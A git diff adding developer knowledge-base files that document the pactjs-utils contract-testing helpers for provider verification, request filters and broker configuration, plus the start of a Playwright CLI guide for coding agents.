+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: !isBreakingChange, // false during breaking changes
+  stateHandlers: {
+    /* ... */
+  },
+});
+// When includeMainAndDeployed is false (breaking change):
+//   selectors = [{ matchingBranch: true }]
+// When includeMainAndDeployed is true (normal):
+//   selectors = [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }]
+```
+
+### Example 5: handlePactBrokerUrlAndSelectors (Advanced)
+
+```typescript
+import { handlePactBrokerUrlAndSelectors } from '@seontechnologies/pactjs-utils';
+import type { VerifierOptions } from '@pact-foundation/pact';
+
+// For advanced use cases — mutates the options object in-place (returns void)
+const options: VerifierOptions = {
+  provider: 'SampleMoviesAPI',
+  providerBaseUrl: 'http://localhost:3001',
+};
+
+handlePactBrokerUrlAndSelectors({
+  pactPayloadUrl: process.env.PACT_PAYLOAD_URL,
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  consumer: undefined, // or specific consumer name
+  includeMainAndDeployed: true,
+  options, // mutated in-place: sets pactBrokerUrl, consumerVersionSelectors, or pactUrls
+});
+
+// After call, options has been mutated with:
+// - options.pactBrokerUrl (from pactBrokerUrl param)
+// - options.consumerVersionSelectors (based on includeMainAndDeployed)
+// OR if pactPayloadUrl matches: options.pactUrls = [pactPayloadUrl]
+```
+
+**Note**: `handlePactBrokerUrlAndSelectors` is called internally by `buildVerifierOptions`. You rarely need it directly — use it only for advanced custom verifier assembly.
+
+### Example 6: getProviderVersionTags
+
+```typescript
+import { getProviderVersionTags } from '@seontechnologies/pactjs-utils';
+
+// Extracts version tags from CI environment
+const tags = getProviderVersionTags();
+
+// In GitHub Actions on branch "feature/add-movies" (non-breaking):
+//   tags = ['dev', 'feature/add-movies']
+//
+// In GitHub Actions on main branch (non-breaking):
+//   tags = ['dev', 'main']
+//
+// In GitHub Actions with PACT_BREAKING_CHANGE=true:
+//   tags = ['feature/add-movies']  (no 'dev' tag)
+//
+// Locally (no CI):
+//   tags = ['local']
+```
+
+## Environment Variables Reference
+
+| Variable               | Required        | Description                                                                                                                           | Default     |
+| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ----------- |
+| `PACT_BROKER_BASE_URL` | For remote flow | Pact Broker / PactFlow URL                                                                                                            | —           |
+| `PACT_BROKER_TOKEN`    | For remote flow | API token for broker authentication                                                                                                   | —           |
+| `GITHUB_SHA`           | Recommended     | Provider version for verification result publishing (auto-set by GitHub Actions)                                                      | `'unknown'` |
+| `GITHUB_BRANCH`        | Recommended     | Branch name for provider version branch and version tags (**not auto-set** — define as `${{ github.head_ref \|\| github.ref_name }}`) | `'main'`    |
+| `PACT_PAYLOAD_URL`     | Optional        | Webhook payload URL — triggers verification of specific pact only                                                                     | —           |
+| `PACT_BREAKING_CHANGE` | Optional        | Set to `"true"` to use breaking change selector strategy                                                                              | `'false'`   |
+| `CI`                   | Auto-detected   | When `"true"`, enables verification result publishing                                                                                 | —           |
+
+## Key Points
+
+- **Flow auto-detection**: If `PACT_BROKER_BASE_URL` is set → remote flow; otherwise → local flow (requires `pactUrls`)
+- **`port` is a string**: Pass port number as string (e.g., `'3001'`); function builds `http://localhost:${port}` internally
+- **`includeMainAndDeployed` is required**: `true` = verify matchingBranch + mainBranch + deployedOrReleased; `false` = verify matchingBranch only (for breaking changes)
+- **Selector strategy**: Normal flow (`includeMainAndDeployed: true`) includes all selectors; breaking change flow (`false`) includes only `matchingBranch`
+- **Webhook support**: `PACT_PAYLOAD_URL` takes precedence — verifies only the specific pact that triggered the webhook
+- **State handler types**: Both `async (params) => void` and `{ setup: async (params) => void, teardown: async () => void }` are supported
+- **Version publishing**: Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-consumer-helpers.md` — consumer-side state parameter creation
+- `pactjs-utils-request-filter.md` — auth injection for provider verification
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual broker URL and selector assembly
+
+```typescript
+// ❌ Manual environment variable handling
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || process.env.GITHUB_SHA || 'dev',
+  providerVersionBranch: process.env.GITHUB_HEAD_REF || process.env.GITHUB_REF_NAME,
+  consumerVersionSelectors:
+    process.env.PACT_BREAKING_CHANGE === 'true'
+      ? [{ matchingBranch: true }]
+      : [{ matchingBranch: true }, { mainBranch: true }, { deployedOrReleased: true }],
+  pactUrls: process.env.PACT_PAYLOAD_URL ? [process.env.PACT_PAYLOAD_URL] : undefined,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    req.headers['authorization'] = `Bearer ${process.env.TEST_TOKEN}`;
+    next();
+  },
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ All env var logic handled internally
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
